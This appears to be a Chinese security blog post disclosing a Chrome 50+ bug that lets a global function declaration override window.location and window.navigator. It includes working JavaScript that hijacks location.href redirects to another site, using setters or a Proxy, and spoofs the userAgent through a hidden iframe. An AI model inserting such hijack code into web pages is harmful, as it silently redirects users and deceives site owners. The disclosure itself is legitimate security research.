Chrome出了个小bug:论如何在Chrome下劫持原生只读对象

概述

众所周知,虽然JavaScript是个很灵活的语言,浏览器里很多原生的方法都可以随意覆盖或者重写,比如alert。但是为了保证网页的安全性和网页制作者的一定控制权,有些浏览器对象是无法更改的,比如“window.location”对象,或者对它们的更改是无效的,比如”window.navigator”对象。然而,最近我发现Chrome出现了一个小“bug”,在Chrome 50+ 版本中,通过一些技巧可以轻易地重写这些对象,从而让恶意代码可以控制网页编写者的跳转行为。

实现window.location

location对象是个很特殊的浏览器内置对象,一般情况下是无法修改的,为了寻找是否有一种方法可以做到这件事,我做了一些尝试并得出了相应的结论:

1.无法修改location对象,直接修改会导致页面跳转:

	window.location = {};

2.无法通过Object.defineProperty来修改属性的configurable和writable,因此无法使用Object.watch及各种polyfill。

	Object.defineProperty(location,"href",{"configurable": true});

3.可以用Proxy对象代理location,但因为原因1,无法用locationProxy重写location对象。

	var locationProxy = new Proxy(location, {
set: function (target, key, value, receiver) {
console.log(target, key, value, receiver);
}});

4.可以freeze,使得对location.href赋值失效。然而这会影响到正常流程,因为光这样用户的代码逻辑就无法走通,劫持就失去了意义。

	Object.freeze(window.location)
Object.freeze(window)

看上去似乎没有任何办法能够做到了?然而山重水复疑无路,柳暗花明又一村。在尝试中我发现Chrome浏览器有个bug:在全局域里使用和location同名的函数声明,在函数自动提升后可以覆盖掉浏览器本身的window.location对象,没错,就是这样一行简单的代码:

	function location(){}

这样就可以起到重写并hook掉location的作用。而这个方法也只有在Chrome下有用,其它浏览器(如Firefox或者Edge)会提示 TypeError: can't redefine non-configurable property location

那么既然拿到了修改的方法,应该如何合理地劫持它呢? 首先需要备份一下location对象本身,但由于我们的关键函数 **function location(){} ** 本身是需要在全局域中执行,并且会自动提升,因此无法直接存储location对象。但是很多人都忽略的一点window.document对象中还有一份location对象,而这个对象,在目前浏览器中绝大多数情况下都和window.location没有区别,甚至就是对window.location的一份拷贝或者指针。于是我们可以使用window.document.location先备份一下location对象,然后修改之。

	var _location = window.document.location;

之后需要做的事情就是在劫持某些操作的时候,又保证正常的操作不会出问题,否则很容易被发现。我们可以使用ES5中的一些魔法方法,比如__proto__和__defineSetter__来实现我们需要的效果,比如我们对于location.href 的赋值操作,拦截并转向freebuf:

	location.__proto__ = _location;

	location.__defineSetter__('href', function(url) {
_location.href = "http://www.freebuf.com";
}); location.__defineGetter__('href', function(url) {
return _location.href;
});

或者使用ES6的Proxy代理,也同样可以实现相同功能:

	window.location = new Proxy(_location, {
set: function(target, prop, value, receiver){
if (prop !== 'href'){
Reflect.set(target, prop, value, receiver);
}else{
target.href = "http://www.freebuf.com";
}
}
})

最后,我们再将location对象设置为只读,防止轻易被修改

	Object.defineProperty(window,"location",{"writable": false});

这样就实现了一个暗藏玄机的window.location,偷偷将页面里所有通过location.href做的跳转改到了目标网站(freebuf)。

实现window.navigator

就像我开头说的一样,不止是location,navigator对象我们也可以通过这种方法偷偷篡改,让网站得到的浏览器信息(如userAgent)失真,要注意的重点就是如何找到一种方法保存原来的navigator对象,这里我们使用新建一个iframe来实现:

	var _navigator;

	function navigator(){}

	var frame = document.createElement('iframe');
frame.width = frame.height = 0;
frame.style.display = "none";
document.lastChild.appendChild(frame); _navigator = window.frames[0].window.navigator; window.navigator = new Proxy(_navigator, {
set: function(target, prop, value, receiver){
return Reflect.set(target, prop, value, receiver);
},
get: function(target, prop, receiver){
if (prop === 'userAgent'){
return "this is a faked userAgent";
}
return target[prop];
}
})

这段代码实现了让用户访问window.navigator.userAgemt时返回了一个假UA串。

总结

这个bug在Chrome 50至最新版内核中均存在,包括但不限于Chrome和各种使用Chromium内核的浏览器(Opera, UC)等。虽然由于局限性,独立存在的意义不大,但是在一些恶意脚本里还是存在一些利用的价值。

作者:负羽@阿里安全,更多安全类文章,请访问阿里聚安全博客

Chrome出了个小bug:论如何在Chrome下劫持原生只读对象的更多相关文章

  1. 淘宝WAP版小BUG分析

    前几天发现的一个淘宝WAP版的小BUG,就是用桌面版chrome看的时候产品评价中的图片显示不出来,都是图裂了. 这是什么原因呢?图片为什么会显示不出来呢?淘宝的技术人员.测试人员不可能没发现啊.开启 ...

  2. 解决JqueryUI 拖放排序遇到滚动条时有可能无法执行排序的小bug

    前些日子不是在做 使用Jquery-UI实现一次拖拽多个选中的元素操作嘛,在持续完善这个组件时遇到了一个关于拖放排序的bug.今天就着图片和代码重现一下,也顺便告诉大家如何解决这个问题. 首先先上图描 ...

  3. Chrome 的 100 个小技巧 中文版

    英文原版<100 Tips For Chrome, Chrome OS and ChromeBook Users>作者博客 - chromestory.com 本文是对<100 Ti ...

  4. 用 parseInt()解决的 小 bug

    在做轮播模块的时候遇到问题是:你在 连续指示小按钮 时候再去 只有 点击 下一张按钮,出现bug: 指示小按钮的 className 当前显示的 calssName 为 undefined ! // ...

  5. Chrome自带恐龙小游戏的源码研究(七)

    在上一篇<Chrome自带恐龙小游戏的源码研究(六)>中研究了恐龙的跳跃过程,这一篇研究恐龙与障碍物之间的碰撞检测. 碰撞盒子 游戏中采用的是矩形(非旋转矩形)碰撞.这类碰撞优点是计算比较 ...

  6. Chrome自带恐龙小游戏的源码研究(完)

    在上一篇<Chrome自带恐龙小游戏的源码研究(七)>中研究了恐龙与障碍物的碰撞检测,这一篇主要研究组成游戏的其它要素. 游戏分数记录 如图所示,分数及最高分记录显示在游戏界面的右上角,每 ...

  7. Chrome自带恐龙小游戏的源码研究(五)

    在上一篇<Chrome自带恐龙小游戏的源码研究(四)>中实现了障碍物的绘制及移动,从这一篇开始主要研究恐龙的绘制及一系列键盘动作的实现. 会眨眼睛的恐龙 在游戏开始前的待机界面,如果仔细观 ...

  8. 观CSDN站点小Bug有感

            今天早上在浏览博客的时候偶然发现CSDN博客的数据出现了异常,我也是头一次看到这么明显的Bug.详细什么表现呢?先来看个截图.例如以下:             常常看CSDN博客的人 ...

  9. [转帖]CHROME开发者工具的小技巧

    CHROME开发者工具的小技巧 https://coolshell.cn/articles/17634.html 需要仔细学习看一看呢. 2017年01月19日 陈皓 评论 58 条评论  64,08 ...

随机推荐

  1. 故障重现(内存篇2),JAVA内存不足导致频繁回收和swap引起的性能问题

    背景起因: 记起以前的另一次也是关于内存的调优分享下   有个系统平时运行非常稳定运行(没经历过大并发考验),然而在一次活动后,人数并发一上来后,系统开始卡. 我按经验开始调优,在每个关键步骤的加入如 ...

  2. shell注释

    sh里没有多行注释,只能每一行加一个#号.只能像这样: #-------------------------------------------- # 这是一个自动打ipa的脚本,基于webfrogs ...

  3. CoreCRM 开发实录 —— Profile

    再简单的功能,也需要一坨代码的支持.Profile 的编辑功能主要就是修改个人的信息.比如用户名.头像.性别.电话--虽然只是一个编辑界面,但添加下来,涉及了6个文件的修改和7个新创建的文件.各种生成 ...

  4. Python碎碎念

    1. 如何添加路径 主要有以下两种方式: 1> 临时的 import sys sys.path.append('C:\Users\Victor\Desktop') 2> 永久的 在Linu ...

  5. 使用 Android Studio 检测内存泄漏与解决内存泄漏问题

    本文在腾讯技术推文上 修改 发布. http://wetest.qq.com/lab/view/63.html?from=ads_test2_qqtips&sessionUserType=BF ...

  6. Java程序员:工作还是游戏,是该好好衡量一下了

    前阵子我终于下定决心,删掉了硬盘里所有的游戏. 身为一个程序猿,每天都要和各种新技术打交道,闲暇时间,总还得看一下各大论坛,逛逛博客园啥的,给自己充充电.游戏的话,其实我自小就比较喜欢,可以算是一种兴 ...

  7. javascript运动系列第一篇——匀速运动

    × 目录 [1]简单运动 [2]定时器管理 [3]分享到效果[4]移入移出[5]运动函数[6]透明度[7]多值[8]多物体[9]回调[10]函数完善[11]最终函数 前面的话 除了拖拽以外,运动也是j ...

  8. C# 用SoapUI调试WCF服务接口(WCF中包含用户名密码的验证)

    问题描述: 一般调试wcf程序可以直接建一个单元测试,直接调接口. 但是,这次,我还要测试在接口内的代码中看接收到的用户名密码是否正确,所以,单一的直接调用接口方法行不通, 然后就想办法通过soapU ...

  9. enote笔记法使用范例(2)——指针(1)智能指针

    要知道什么是智能指针,首先了解什么称为 “资源分配即初始化” what RAII:RAII—Resource Acquisition Is Initialization,即“资源分配即初始化” 在&l ...

  10. Crystal Clear Applied: The Seven Properties of Running an Agile Project (转载)

    作者Alistair Cockburn, Crystal Clear的7个成功要素,写得挺好. 敏捷方法的关注点,大家可以参考,太激动所以转载了. 原文:http://www.informit.com ...